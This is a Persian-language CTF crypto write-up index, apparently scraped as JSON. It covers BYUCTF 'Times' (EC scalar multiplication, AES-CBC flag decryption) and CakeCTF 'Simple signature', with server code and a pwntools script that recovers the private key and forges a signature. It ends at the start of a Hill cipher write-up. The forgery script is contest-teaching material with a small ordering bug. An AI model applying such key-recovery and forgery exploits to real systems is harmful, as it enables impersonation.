encrypt_flag \u062f\u0627\u062f\u0647 \u0645\u06cc \u0634\u0648\u062f.

\u062f\u0631 \u0648\u0627\u0642\u0639 \u062a\u0645\u0627\u0645 \u06a9\u0627\u0631\u06cc \u06a9\u0647 \u0645\u0627 \u0628\u0627\u06cc\u062f \u0627\u0646\u062c\u0627\u0645 \u0628\u062f\u06cc\u0645 \u0627\u06cc\u0646\u0647 \u06a9\u0647 \u06cc\u06a9 \u062a\u0627\u0628\u0639 scalar multiplication \u0628\u0646\u0648\u06cc\u0633\u06cc\u0645 \u0648 \u0628\u0639\u062f \u0627\u0648\u0646 \u06cc\u06a9 \u062a\u0627\u0628\u0639 \u0628\u0631\u0627\u06cc decrypt \u06a9\u0631\u062f\u0646 \u0641\u0644\u06af \u0628\u0627 \u062a\u0648\u062c\u0647 AES \u062f\u0631 \u0645\u062f CBC \u0628\u0646\u0648\u06cc\u0633\u06cc\u0645 ( \u0647\u0645\u0627\u0646\u0637\u0648\u0631 \u06a9\u0647 \u0645\u06cc\u0628\u0646\u06cc\u062f ciphertext \u0648 iv \u062f\u0631 \u0641\u0627\u06cc\u0644 times.txt \u0642\u0631\u0627\u0631 \u062f\u0627\u062f\u0647 \u0634\u062f\u0647 \u0627\u0633\u062a ).

","tags":["BYUCTF","BYUCTF-2024","Crypto","Eliptic Curve"]},{"location":"crypto/writeups/BYUCTF/Times/#scalar-multiplication","title":"\u067e\u06cc\u0627\u062f\u0647 \u0633\u0627\u0632\u06cc Scalar Multiplication","text":"
from Crypto.Util.number import *\nP=(14592775108451646097, 237729200841118959448447480561827799984)\np=335135809459196851603485825030548860907\na=13\ndef point_addition(P, Q, p, a):\n    if P == (0,0):\n        return Q\n    elif Q == (0,0):\n        return P\n    elif P[0] == Q[0] & P[1] == -Q[1]:\n        return (0,0)\n    elif P != Q:\n        landa = (((Q[1] - P[1]) % p) * inverse( ((Q[0] - P[0]) % p), p)) % p\n    elif P == Q:\n        landa = ( (((3*((P[0]**2) % p) % p) + a) % p) * inverse( ((2 * P[1]) % p), p)) % p\n    x = (((landa**2) % p) - P[0] - Q[0]) % p\n    y = (((landa*((P[0] - x) % p)) % p) - P[1]) % p\n    return (x, y)\n\ndef scalar_multiplication(P, n, p, a):\n    Q = P\n    R = (0,0)\n    while n > 0:\n        if n % 2 == 1:\n            R = point_addition(R, Q, p, a)\n        Q = point_addition(Q, Q, p, a)\n        n = math.floor(n/2)\n    return R\n\nscalar_multiplication(P, 1337, p, a)\n
","tags":["BYUCTF","BYUCTF-2024","Crypto","Eliptic Curve"]},{"location":"crypto/writeups/BYUCTF/Times/#decrypt_flag","title":"\u067e\u06cc\u0627\u062f\u0647 \u0633\u0627\u0632\u06cc decrypt_flag","text":"
from Crypto.Cipher import AES\nfrom base64 import b64decode\nfrom Crypto.Util.Padding import unpad\n\n\ndef decrypt_flag(shared_secret: int, ciphertext_dict: dict):\n\n  # Derive AES key from shared secret (same as encryption)\n  sha1 = hashlib.sha1()\n  sha1.update(str(shared_secret).encode('ascii'))\n  key = sha1.digest()[:16]\n\n  # Retrieve ciphertext and IV from dictionary\n  ciphertext = b64decode(ciphertext_dict[\"ciphertext\"])\n  iv = b64decode(ciphertext_dict[\"iv\"])\n\n  # Decrypt the ciphertext\n  cipher = AES.new(key, AES.MODE_CBC, iv)\n  plaintext = unpad(cipher.decrypt(ciphertext), AES.block_size)\n\n  # Return the decrypted string\n  return plaintext.decode('ascii')\n\n\nshared_secret = 130102914376597655583988556541378621904\n\nciphertext_dict = {'ciphertext': b'SllGMo5gxalFG9g8j4KO0cIbXeub0CM2VAWzXo3nbIxMqy1Hl4f+dGwhM9sm793NikYA0EjxvFyRMcU2tKj54Q==', 'iv': b'MWkMvRmhFy2vAO9Be9Depw=='}\n\n\ndecrypt_flag(shared_secret, ciphertext_dict)\n
FLAG

byuctf{mult1pl1c4t10n_just_g0t_s0_much_m0r3_c0mpl1c4t3d}

\u0646\u0648\u06cc\u0633\u0646\u062f\u0647

MohamadAli

","tags":["BYUCTF","BYUCTF-2024","Crypto","Eliptic Curve"]},{"location":"crypto/writeups/CakeCTF/simple-signature/","title":"\u0686\u0627\u0644\u0634 Simple signature","text":"

\u0627\u06cc\u0646 \u0686\u0627\u0644\u0634 \u062f\u0631 \u0627\u0628\u062a\u062f\u0627 \u0686\u0627\u0644\u0634 \u0633\u0627\u062f\u0647\u200c\u0627\u06cc \u0628\u0647 \u0646\u0638\u0631 \u0645\u06cc\u200c\u0631\u0633\u06cc\u062f \u0648 \u0647\u0645\u0648\u0646\u200c\u0637\u0648\u0631 \u06a9\u0647 \u062a\u0648\u06cc \u062a\u0635\u0648\u06cc\u0631 \u0632\u06cc\u0631 \u0647\u0645 \u0645\u06cc\u200c\u0628\u06cc\u0646\u06cc\u062f \u062a\u0639\u062f\u0627\u062f \u062d\u0644 \u0628\u0627\u0644\u0627\u06cc\u06cc \u062f\u0627\u0634\u062a. \u0627\u0645\u0627 \u06a9\u0645 \u062f\u0642\u062a\u06cc \u0648 \u062a\u0648\u062c\u0647 \u0646\u06a9\u0631\u062f\u0646 \u0628\u0647 \u06cc\u06a9 \u0633\u0631\u06cc \u0646\u06a9\u0627\u062a \u0631\u06cc\u0632 \u0628\u0627\u0639\u062b \u0634\u062f \u0646\u062a\u0648\u0646\u0645 \u0627\u06cc\u0646 \u0686\u0627\u0644\u0634 \u0633\u0631\u06cc\u0639 \u062d\u0644 \u06a9\u0646\u0645.

\u062e\u0628 \u0628\u0631\u06cc\u0645 \u0633\u0631\u0627\u063a \u0686\u0627\u0644\u0634\u060c \u0647\u0645\u0627\u0646\u200c\u0637\u0648\u0631 \u06a9\u0647 \u062f\u0631 \u062a\u0635\u0648\u06cc\u0631 \u0628\u0627\u0644\u0627 \u062f\u06cc\u062f\u0647 \u0645\u06cc\u0634\u0647 \u0627\u06cc\u0646 \u06cc\u06a9 \u0686\u0627\u0644\u0634 \u0627\u0645\u0636\u0627\u06cc \u062f\u06cc\u062c\u06cc\u062a\u0627\u0644 \u0627\u0633\u062a \u06a9\u0647 \u06cc\u06a9 \u0622\u062f\u0631\u0633 \u0648 \u067e\u0648\u0631\u062a \u0647\u0645\u0631\u0627\u0647 \u0628\u0627 \u06a9\u062f \u0633\u0645\u062a \u0633\u0631\u0648\u0631 \u062f\u0627\u0631\u06cc\u0645. \u0628\u0647 \u0645\u062d\u0636 \u0627\u062a\u0635\u0627\u0644 \u0628\u0647 \u0633\u0631\u0648\u0631\u060c \u0645\u0642\u0627\u062f\u06cc\u0631 p \u060cg \u0648 \u0632\u0648\u062c \u0645\u0631\u062a\u0628 vkey \u06a9\u0647 \u062f\u0631 \u0648\u0627\u0642\u0639 \u06a9\u0644\u06cc\u062f \u0639\u0645\u0648\u0645\u06cc \u0627\u0633\u062a \u0631\u0648 \u0628\u0647 \u0645\u0627 \u0645\u06cc\u062f\u0647 \u0648 \u0627\u0632 \u0645\u0627 \u0645\u06cc\u062e\u0648\u0627\u062f \u06a9\u0647 \u0627\u0646\u062a\u062e\u0627\u0628 \u06a9\u0646\u06cc\u0645 \u06a9\u0647 \u0645\u06cc \u062e\u0648\u0627\u0647\u06cc\u0645 \u0645\u062a\u0646\u06cc \u0631\u0648 \u0627\u0645\u0636\u0627 \u06a9\u0646\u06cc\u0645 \u06cc\u0627 \u0645\u06cc\u200c\u062e\u0648\u0627\u0647\u06cc\u0645 \u06cc\u06a9 \u0627\u0645\u0636\u0627 \u0631\u0648 \u062a\u0635\u062f\u06cc\u0642 \u06a9\u0646\u06cc\u0645. \u0628\u0627 \u0627\u0646\u062a\u062e\u0627\u0628 \u06af\u0632\u06cc\u0646\u0647 \u0627\u0645\u0636\u0627 (S)\u060c \u0627\u0632 \u0645\u0627 \u062f\u0631\u062e\u0648\u0627\u0633\u062a \u0645\u062a\u0646\u06cc \u06a9\u0647 \u0642\u0631\u0627\u0631 \u0627\u0645\u0636\u0627 \u0628\u0634\u0647 \u0631\u0648 \u0645\u06cc \u06a9\u0646\u0647 \u0648 \u0628\u0647 \u0639\u0646\u0648\u0627\u0646 \u062e\u0631\u0648\u062c\u06cc \u06cc\u06a9 \u0632\u0648\u062c \u0645\u0631\u062a\u0628 (s,t) \u0628\u0647 \u0645\u0627 \u0645\u06cc\u062f\u0647 \u06a9\u0647 \u0627\u06cc\u0646 \u0632\u0648\u062c \u0645\u0631\u062a\u0628 \u0647\u0645\u0627\u0646 \u0627\u0645\u0636\u0627\u06cc \u0645\u062a\u0646 \u0627\u0633\u062a. \u0627\u06af\u0631 \u06af\u0632\u06cc\u0646\u0647 \u062a\u0635\u062f\u06cc\u0642 (V) \u0631\u0627 \u0627\u0646\u062a\u062e\u0627\u0628 \u06a9\u0646\u06cc\u0645 \u0627\u0628\u062a\u062f\u0627 \u0645\u062a\u0646 \u067e\u06cc\u0627\u0645 \u0648 \u0633\u067e\u0633 \u0632\u0648\u062c \u0645\u0631\u062a\u0628 (s,t) \u0631\u0648 \u062f\u0631\u062e\u0648\u0627\u0633\u062a \u0645\u06cc\u06a9\u0646\u0647 \u06a9\u0647 \u062f\u0631 \u0635\u0648\u0631\u062a \u0645\u0637\u0627\u0628\u0642\u062a \u0627\u0645\u0636\u0627 \u0628\u0627 \u0645\u062a\u0646\u060c \u067e\u06cc\u063a\u0627\u0645 verified \u0631\u0648 \u0645\u0627\u0646\u0646\u062f \u0632\u06cc\u0631 \u0628\u0631\u0627\u06cc \u0686\u0627\u067e \u0645\u06cc\u200c\u06a9\u0646\u0647.

nc crypto.2023.cakectf.com 10444\np = 12461009808507152374125098342823537614498371034076199996167157368441261794610538037894190371927225429503534827434519767137513866506265282544292894789347283\ng = 2\nvkey = (5448899759769600714412864084543015451282235347653116129095778847832346990329692376807722729655674724571428765510035749357005239091437770716002180076321509, 3128459027502179540614599819430166489651929559502820417514699625737390655587377320258316509423668978901229663058253736473439065076432361719276985133909415)\n[S]ign, [V]erify: S\nmessage: Hello\n(s, t) = (1308751768992585221054130031165608289293359932202519581128562608636988438770667093582175287614159633116263153448959960762986514580832902309161213800131493, 322900803100515903279808703477899387035730952811976099474443242190074336807561942151320888385917232910170637701378305826484578987612226990801594826583715)\n[S]ign, [V]erify: V\nmessage: Hello\ns: 1308751768992585221054130031165608289293359932202519581128562608636988438770667093582175287614159633116263153448959960762986514580832902309161213800131493\nt: 322900803100515903279808703477899387035730952811976099474443242190074336807561942151320888385917232910170637701378305826484578987612226990801594826583715\nverified\n

\u062d\u0627\u0644\u0627 \u0628\u0627\u06cc\u062f \u0628\u0647 \u06a9\u062f \u0633\u0645\u062a \u0633\u0631\u0648\u0631 \u0646\u06af\u0627\u0647 \u0628\u0646\u062f\u0627\u0632\u06cc\u0645 \u0648 \u0628\u0628\u06cc\u0646\u06cc\u0645 \u06a9\u0647 \u0633\u0631\u0648\u0631 \u062f\u0631 \u0686\u0647 \u0635\u0648\u0631\u062a\u06cc \u0641\u0644\u06af \u0631\u0648 \u0628\u0631\u0627\u06cc \u0645\u0627 \u0627\u0631\u0633\u0627\u0644 \u0645\u06cc\u06a9\u0646\u0647. \u0628\u0627 \u062f\u0642\u062a \u062f\u0631 \u06a9\u062f \u0633\u0631\u0648\u0631 \u0645\u062a\u0648\u062c\u0647 \u0645\u06cc\u0634\u06cc\u0645 \u06a9\u0647 \u0627\u06af\u0631 \u0645\u062a\u0646 \"cake_does_not_eat_cat\" \u0631\u0648 \u0628\u0631\u0627\u06cc \u0627\u0645\u0636\u0627 \u0628\u062f\u06cc\u0645 \u0648 \u0633\u067e\u0633 \u0633\u0631\u0648\u0631 \u0627\u0648\u0646 \u062a\u0635\u062f\u06cc\u0642 \u06a9\u0646\u0647 \u0641\u0644\u06af \u0628\u0631\u0627\u06cc \u0645\u0627 \u0646\u0645\u0627\u06cc\u0634 \u062f\u0627\u062f\u0647 \u0645\u06cc\u0634\u0647. \u0627\u0645\u0627 \u0633\u0631\u0648\u0631 \u0628\u0647 \u0627\u06cc\u0646 \u0639\u0628\u0627\u0631\u062a \u062d\u0633\u0627\u0633 \u0627\u0633\u062a \u0648 \u0627\u062c\u0627\u0632\u0647 \u0627\u0645\u0636\u0627\u06cc \u0627\u06cc\u0646 \u0645\u062a\u0646 \u0646\u0645\u06cc\u062f\u0647. \u067e\u0633 \u0628\u0627\u06cc\u062f \u0639\u0645\u0644 \u0627\u0645\u0636\u0627 \u06a9\u0631\u062f\u0646 \u0631\u0627 \u0628\u0647 \u0635\u0648\u0631\u062a local \u0631\u0648\u06cc \u0633\u06cc\u0633\u062a\u0645 \u062e\u0648\u062f\u0645\u0648\u0646 \u0627\u0646\u062c\u0627\u0645 \u0628\u062f\u06cc\u0645 \u0648 \u062a\u0646\u0647\u0627 \u0628\u0631\u0627\u06cc \u0627\u0646\u062c\u0627\u0645 \u062a\u0635\u062f\u06cc\u0642 \u0628\u0647 \u0633\u0631\u0648\u0631 \u0628\u0641\u0631\u0633\u062a\u06cc\u0645. \u0627\u0645\u0627 \u0628\u0631\u0627\u06cc \u0627\u0645\u0636\u0627 \u06a9\u0631\u062f\u0646 \u0646\u06cc\u0627\u0632 \u0628\u0647 \u06a9\u0644\u06cc\u062f\u062e\u0635\u0648\u0635\u06cc (x,y,u) \u062f\u0627\u0631\u06cc\u0645 \u06a9\u0647 \u062f\u0631 \u0647\u0631 \u0628\u0627\u0631 \u0627\u062a\u0635\u0627\u0644 \u0628\u0647 \u0633\u0631\u0648\u0631 \u0628\u0647 \u0635\u0648\u0631\u062a \u062a\u0635\u0627\u062f\u0641\u06cc \u062a\u0648\u0644\u06cc\u062f \u0645\u06cc\u0634\u0646. \u062f\u0631 \u0648\u0627\u0642\u0639 \u062a\u0627\u0632\u0647 \u0627\u0632 \u0627\u06cc\u0646 \u0646\u0642\u0637\u0647 \u0628\u0647 \u0628\u0639\u062f \u062d\u0644 \u0627\u06cc\u0646 \u0686\u0627\u0644\u0634 \u0634\u0631\u0648\u0639 \u0645\u06cc\u0634\u0647.

server.py
import os\nimport sys\nfrom hashlib import sha512\nfrom Crypto.Util.number import getRandomRange, getStrongPrime, inverse, GCD\nimport signal\n\nflag = os.environ.get(\"FLAG\", \"neko{cat_does_not_eat_cake}\")\np = getStrongPrime(512)\ng = 2\n\ndef keygen():\n    while True:\n        x = getRandomRange(2, p-1)\n        y = getRandomRange(2, p-1)\n        w = getRandomRange(2, p-1)\n        v = w * y % (p-1)\n        if GCD(v, p-1) != 1:\n            continue\n        u = (w * x - 1) * inverse(v, p-1) % (p-1)\n        return (x, y, u), (w, v)\n\ndef sign(m, key):\n    x, y, u = key\n    r = getRandomRange(2, p-1)\n    return pow(g, x*m + r*y, p), pow(g, u*m + r, p)\n\ndef verify(m, sig, key):\n    w, v = key\n    s, t = sig\n    return pow(g, m, p) == pow(s, w, p) * pow(t, -v, p) % p\n\ndef h(m):\n    return int(sha512(m.encode()).hexdigest(), 16)\n\nif __name__ == '__main__':\n    magic_word = \"cake_does_not_eat_cat\"\n    skey, vkey = keygen()\n    print(f\"p = {p}\")\n    print(f\"g = {g}\")\n    print(f\"vkey = {vkey}\")\n    signal.alarm(1000)\n    while True:\n        choice = input(\"[S]ign, [V]erify: \").strip()\n        if choice == \"S\":\n            message = input(\"message: \").strip()\n            assert message != magic_word\n            sig = sign(h(message), skey)\n            print(f\"(s, t) = {sig}\")\n        elif choice == \"V\":\n            message = input(\"message: \").strip()\n            s = int(input(\"s: \").strip())\n            t = int(input(\"t: \").strip())\n            assert 2 <= s < p\n            assert 2 <= t < p\n            if not verify(h(message), (s, t), vkey):\n                print(\"invalid signature\")\n                continue\n            print(\"verified\")\n            if message == magic_word:\n                print(f\"flag = {flag}\")\n                sys.exit(0)\n        else:\n            break\n

\u0628\u0627 \u062f\u06cc\u062f\u0646 \u06a9\u062f \u0633\u0631\u0648\u0631 \u0645\u06cc\u200c\u0641\u0647\u0645\u06cc\u0645 \u06a9\u0647 \u0637\u0628\u0642 \u062a\u0627\u0628\u0639 keygen \u06a9\u0644\u06cc\u062f\u0639\u0645\u0648\u0645\u06cc \u062f\u0648 \u0645\u062a\u063a\u06cc\u0631 (w,v) \u0648 \u06a9\u0644\u06cc\u062f\u062e\u0635\u0648\u0635\u06cc \u0634\u0627\u0645\u0644 \u0633\u0647 \u0645\u062a\u063a\u06cc\u0631 (x,y,u) \u0627\u0633\u062a. \u0628\u0627 \u0627\u0648\u0644\u06cc\u0646 \u0646\u06af\u0627\u0647 \u0628\u0647 \u062e\u0637 \u06f1\u06f6 \u0645\u062a\u0648\u062c\u0647 \u0645\u06cc\u0634\u06cc\u0645 \u06a9\u0647 \u0645\u062a\u063a\u06cc\u0631 v \u0628\u0627 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 y \u0628\u062f\u0633\u062a \u0622\u0645\u062f\u0647\u060c \u0686\u0648\u0646 \u0645\u0642\u062f\u0627\u0631 v \u0639\u0645\u0648\u0645\u06cc \u0627\u0633\u062a \u0648 \u0633\u0631\u0648\u0631 \u0628\u0647 \u0645\u0627 \u0645\u06cc\u062f\u0647\u060c \u067e\u0633 \u0628\u0627 \u06cc\u06a9 \u0645\u0639\u06a9\u0648\u0633\u200c\u06af\u06cc\u0631\u06cc \u0633\u0627\u062f\u0647 \u0631\u0648\u06cc w \u0645\u062b\u0644 \u0631\u0627\u0628\u0637\u0647 \u0632\u06cc\u0631 \u0628\u0647 \u0645\u0642\u062f\u0627\u0631 y \u0645\u06cc\u200c\u0631\u0633\u06cc\u0645 \u0648 \u0627\u0648\u0644\u06cc\u0646 \u0645\u062a\u063a\u06cc\u0631 \u0627\u0632 \u06a9\u0644\u06cc\u062f\u062e\u0635\u0648\u0635\u06cc \u0631\u0648 \u0628\u062f\u0633\u062a \u0645\u06cc\u0627\u0648\u0631\u06cc\u0645.

y\\equiv v \\times w^{-1} \\ mod \\ p-1

\u0627\u0632 \u062e\u0637 \u06f1\u06f9 \u06a9\u062f \u0647\u0645 \u0645\u06cc\u200c\u0641\u0647\u0645\u06cc\u0645 \u06a9\u0647 \u0628\u0627 \u0628\u062f\u0633\u062a \u0622\u0648\u0631\u062f\u0646 x \u0645\u06cc\u200c\u062a\u0648\u0646\u06cc\u0645 \u0628\u0647 \u0645\u0642\u062f\u0627\u0631 u \u0628\u0631\u0633\u06cc\u0645\u060c \u067e\u0633 \u062a\u0646\u0647\u0627 \u0645\u0634\u06a9\u0644 \u0645\u0627 \u0628\u062f\u0633\u062a \u0622\u0648\u0631\u062f\u0646 \u0645\u0642\u062f\u0627\u0631 x \u0627\u0633\u062a. \u0627\u06cc\u0646\u06a9\u0647 \u0686\u0637\u0648\u0631 \u062a\u0648\u0646\u0633\u062a\u0645 \u0645\u0642\u062f\u0627\u0631 x \u0631\u0648 \u0628\u062f\u0633\u062a \u0628\u06cc\u0627\u0631\u0645 \u0648\u0642\u062a \u0632\u06cc\u0627\u062f\u06cc \u06af\u0631\u0641\u062a \u062a\u0627 \u0627\u06cc\u0646\u06a9\u0647 \u0628\u0627 \u062f\u06cc\u062f\u0646 \u062e\u0637 \u06f2\u06f5 \u0628\u0647 \u0641\u06a9\u0631 \u0631\u0627\u0628\u0637\u0647 \u062a\u0639\u0645\u06cc\u0645 \u0627\u0642\u0644\u06cc\u062f\u0633\u06cc \u06cc\u0639\u0646\u06cc a u + b v = gcd(a,b) \u0627\u0641\u062a\u0627\u062f\u0645. \u0686\u0648\u0646 \u0645\u0642\u062f\u0627\u0631 m \u0648 y \u0631\u0648 \u062f\u0627\u0631\u06cc\u0645 \u0648 \u0645\u0642\u062f\u0627\u0631 gcd \u0622\u0646 \u0647\u0627 \u0631\u0627 \u0645\u06cc \u062a\u0648\u0627\u0646\u06cc\u0645 \u062f\u0627\u0634\u062a\u0647 \u0628\u0627\u0634\u06cc\u0645 \u067e\u0633 \u0642\u0627\u062f\u0631 \u062e\u0648\u0627\u0647\u06cc\u0645 \u0628\u0648\u062f \u0645\u0636\u0627\u0631\u0628 \u0622\u0646\u0647\u0627 \u06cc\u0639\u0646\u06cc x \u0648 r \u0628\u062f\u0633\u062a \u0628\u06cc\u0627\u0648\u0631\u06cc\u0645. \u0627\u0645\u0627 \u0645\u0642\u062f\u0627\u0631 r \u0628\u0631\u0627\u06cc \u0645\u0627 \u0645\u0647\u0645 \u0646\u06cc\u0633\u062a \u0686\u0648\u0646 \u0637\u0628\u0642 \u0631\u0627\u0628\u0637\u0647 \u0632\u06cc\u0631 \u06a9\u0647 \u0627\u0632 \u062e\u0637 \u06f3\u06f0 \u062a\u0627\u0628\u0639 verify \u0627\u0633\u062a\u062e\u0631\u0627\u062c \u06a9\u0631\u062f\u0645 \u0645\u0642\u062f\u0627\u0631 r \u0639\u0645\u0644\u0627 \u062a\u0627\u062b\u06cc\u0631\u06cc \u062f\u0631 \u062a\u0635\u062f\u06cc\u0642 \u06a9\u0631\u062f\u0646 \u0627\u0645\u0636\u0627 \u0646\u062f\u0627\u0631\u062f.

\\begin{equation} \\nonumber \\begin{split} g^{m}\\ mod \\ p &= s^{w}\\ mod \\ p \\times t^{-v} \\ mod \\ p \\\\ &= (g^{xm+ry})^w \\times (g^{um+r})^{-v}\\ mod \\ p \\\\ &= g^{w(x m+r y) -v(u m + r )} \\ mod \\ p \\\\ &= g^{wxm + wry - vum - vr} \\ mod \\ p \\\\ &= g^{wxm - vum + r(wy-v)} \\ mod \\ p \\end{split} \\end{equation}

\u0637\u0628\u0642 \u06a9\u062f \u067e\u0627\u06cc\u062a\u0648\u0646 \u0633\u0631\u0648\u0631 wy=v \u0627\u0633\u062a \u067e\u0633 \u062f\u0631 \u0631\u0627\u0628\u0637\u0647 \u0628\u0627\u0644\u0627 \u0636\u0631\u06cc\u0628 r \u06cc\u0639\u0646\u06cc wy-v \u0647\u0645\u06cc\u0634\u0647 \u0645\u0642\u062f\u0627\u0631\u06cc \u0628\u0631\u0627\u0628\u0631 \u0635\u0641\u0631 \u062f\u0627\u0631\u0647\u060c \u0627\u06cc\u0646 \u06cc\u0639\u0646\u06cc \u0645\u0642\u062f\u0627\u0631 \u062a\u0635\u0627\u062f\u0641\u06cc r \u0647\u06cc\u0686 \u0646\u0642\u0634\u06cc \u062f\u0631 \u0628\u0631\u0642\u0631\u0627\u0631\u06cc \u062a\u0633\u0627\u0648\u06cc \u0646\u062f\u0627\u0631\u0647 \u0648 \u062a\u0646\u0647\u0627 \u0648\u0627\u0628\u0633\u062a\u0647 \u0628\u0647 \u0645\u0642\u062f\u0627\u0631 wxm-vum \u0627\u0633\u062a. \u0628\u0639\u062f \u0627\u0632 \u0628\u062f\u0633\u062a \u0622\u0648\u0631\u062f\u0646 \u0645\u062a\u063a\u06cc\u0631 x \u0628\u0627 \u0631\u0648\u0634 \u062a\u0639\u0645\u06cc\u0645 \u0627\u0642\u0644\u06cc\u062f\u0633\u06cc \u0647\u0645\u0647 \u0645\u062a\u063a\u06cc\u0631\u0647\u0627\u06cc \u06a9\u0644\u06cc\u062f\u062e\u0635\u0648\u0635\u06cc \u06cc\u0639\u0646\u06cc x\u060cy \u0648 u \u0631\u0627 \u062f\u0627\u0631\u06cc\u0645 \u0648 \u0645\u06cc\u200c\u062a\u0648\u0646\u06cc\u0645 \u0645\u062a\u0646 \"cake_does_not_eat_cat\" \u0631\u0627 \u0631\u0648\u06cc \u0633\u06cc\u0633\u062a\u0645 \u062e\u0648\u062f\u0645\u0648\u0646 \u0627\u0645\u0636\u0627 \u06a9\u0646\u06cc\u0645 \u0648 \u0628\u0631\u0627\u06cc \u062a\u0635\u062f\u06cc\u0642 \u0628\u0647 \u0633\u0631\u0648\u0631 \u0628\u0641\u0631\u0633\u062a\u06cc\u0645 \u062a\u0627 \u0641\u0644\u06af \u0631\u0627 \u0628\u0631\u0627\u06cc \u0645\u0627 \u0646\u0645\u0627\u06cc\u0634 \u0628\u062f\u0647. \u06a9\u062f \u067e\u0627\u06cc\u062a\u0648\u0646 \u0632\u06cc\u0631 \u06a9\u0644 \u0645\u0631\u0627\u062d\u0644 \u0627\u062a\u0635\u0627\u0644 \u0628\u0647 \u0633\u0631\u0648\u0631\u060c \u0627\u0633\u062a\u062e\u0631\u0627\u062c \u06a9\u0644\u06cc\u062f\u0647\u0627\u060c \u0627\u0646\u062c\u0627\u0645 \u0627\u0645\u0636\u0627 \u0648 \u0627\u0631\u0633\u0627\u0644\u0634 \u0628\u0647 \u0633\u0631\u0648\u0631 \u0628\u0631\u0627\u06cc \u062a\u0635\u062f\u06cc\u0642 \u0631\u0648 \u0627\u062c\u0631\u0627 \u0645\u06cc\u200c\u06a9\u0646\u0647:

solve.py
from pwn import *\nfrom Crypto.Util.number import getRandomRange, getStrongPrime, inverse, GCD\nfrom hashlib import sha512\n\ndef egcd(a, b):\n  if (a == 0):\n    return (b, 0, 1)\n  else:\n    g, y, x = egcd(b % a, a)\n    return (g, x - (b // a) * y, y)\n\ndef sign(m, key):\n    x, y, u = key\n    r = getRandomRange(2, p-1)\n    return pow(g, x*m + r*y, p), pow(g, u*m + r, p)\n\ndef h(m):\n    return int(sha512(m.encode()).hexdigest(), 16)\n\nhost='crypto.2023.cakectf.com'\nport=10444\nr=remote(host,port) \n\np=int(r.recvline()[3:-1])\ng=int(r.recvline()[4:-1])\n\npub_key=(r.recvline()[8:-2]).decode()\nw=int(pub_key.split(',')[0])\nv=int(pub_key.split(',')[1])  # fetch public key(variables)\n\ny=(v*pow(w,-1,p-1))%(p-1)\nx=egcd(h_m,y)[1]\nu = (w * x - 1) * inverse(v, p-1) % (p-1)    # x, y, u  are private key(variables)\n\nh_m = h('cake_does_not_eat_cat')\ns=sign(h_m,(x,y,u))\n\nr.sendline(b'V')\nr.sendline(b'cake_does_not_eat_cat')\nr.sendline(bytes(str(s[0]), 'utf-8'))\nr.sendline(bytes(str(s[1]), 'utf-8'))\nprint(r.recvline())\nprint(r.recvline())\n

\u0628\u0647 \u0646\u0638\u0631 \u0645\u0646 \u0627\u06cc\u0646 \u0686\u0627\u0644\u0634 \u062f\u0631 \u062d\u062f \u0646\u0632\u062f\u06cc\u06a9 \u0628\u0647 \u0645\u062a\u0648\u0633\u0637 \u0628\u0648\u062f \u0648 \u0648\u0627\u0642\u0639\u0627 \u06cc\u06a9 \u0686\u0627\u0644\u0634 \u0633\u0627\u062f\u0647 \u06cc\u0627 \u062f\u0633\u062a \u06af\u0631\u0645\u06cc \u062d\u062f\u0627\u0642\u0644 \u0628\u0631\u0627\u06cc \u0645\u0646 \u0646\u0628\u0648\u062f. \u0627\u0645\u06cc\u062f\u0648\u0627\u0631\u0645 \u06a9\u0647 \u0631\u0648\u0634 \u062d\u0644 \u0627\u06cc\u0646 \u0686\u0627\u0644\u0634 \u0631\u0648 \u0648\u0627\u0636\u062d \u062a\u0648\u0636\u06cc\u062d \u062f\u0627\u062f\u0647 \u0628\u0627\u0634\u0645.

FLAG

CakeCTF{does_yoshiking_eat_cake_or_cat?}

\u0646\u0648\u06cc\u0633\u0646\u062f\u0647

HIGHer

","tags":["CakeCTF","CakeCTF-2023","Crypto","Signature","Extended Euclidean"]},{"location":"crypto/writeups/Cybercoliseum%20%E2%85%A2/Hills/","title":"\u0686\u0627\u0644\u0634 Hills","text":"

\u062f\u0631 \u0627\u06cc\u0646 \u0633\u0648\u0627\u0644 \u0628\u0647 \u0645\u0627 \u0641\u0627\u06cc\u0644 task.txt \u062f\u0627\u062f\u0647 \u0634\u062f\u0647 \u0627\u0633\u062a.

task.txt
-------------------------\n|76 |101|115|116|101|114|\n-------------------------\n|32 |83 |97 |110|100|101|\n-------------------------\n|114|115|32 |115|104|111|\n-------------------------\n|117|108|100|32 |104|101|\n-------------------------\n|108|112|32 |121|111|117|\n-------------------------\n|32 |58 |41 |41 |41 |42 |\n-------------------------\n\nKLZCOUKTVOUWUKDOBGZVJIIIRGVHXCRQUCNOX_IBBL\n

\u0628\u0627 \u0627\u0646\u062f\u06a9\u06cc \u062c\u0633\u062a\u062c\u0648 \u062a\u0648 \u06af\u0648\u06af\u0644 \u062f\u0631 \u0645\u0648\u0631\u062f \u0627\u0633\u0645 \u0633\u0648\u0627\u0644\u060c \u067e\u06cc \u0645\u06cc\u0628\u0631\u06cc\u0645 \u0628\u0627 Hill Cipher \u0637\u0631\u0641 \u0647\u0633\u062a\u06cc\u0645.

\u0622\u0634\u0646\u0627\u06cc\u06cc \u0628\u0627 Hill Cipher

\u06cc\u06a9 \u0631\u0645\u0632\u0646\u06af\u0627\u0631\u06cc \u0686\u0646\u062f \u0627\u0644\u0641\u0628\u0627\u06cc\u06cc (polyalphabetic) \u0627\u0633\u062a \u06a9\u0647 \u0648\u0631\u0698\u0646 \u06af\u0633\u062a\u0631\u0634 \u06cc\u0627\u0641\u062a\u0647 \u0631\u0645\u0632\u0646\u06af\u0627\u0631\u06cc Affine \u0647\u0633\u062a\u0634 \u0648 \u0628\u0627 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 \u062c\u0628\u0631 \u062e\u0637\u06cc (linear algebra) \u0648 \u0647\u0645\u200c\u0646\u0647\u0634\u062a\u06cc (modular arithmetic) \u0627\u0632 \u0637\u0631\u06cc\u0642 \u06cc\u06a9 \u0645\u0627\u062a\u0631\u06cc\u0633 \u0639\u062f\u062f\u06cc \u06a9\u0647 \u0628\u0647 \u0639\u0646\u0648\u0627\u0646 \u06a9\u0644\u06cc\u062f \u0631\u0645\u0632\u06af\u0630\u0627\u0631\u06cc \u0648 \u0631\u0645\u0632\u06af\u0634\u0627\u06cc\u06cc \u0639\u0645\u0644 \u0645\u06cc \u06a9\u0646\u062f\u060c \u0627\u06cc\u062c\u0627\u062f \u0634\u062f\u0647 \u0627\u0633\u062a.

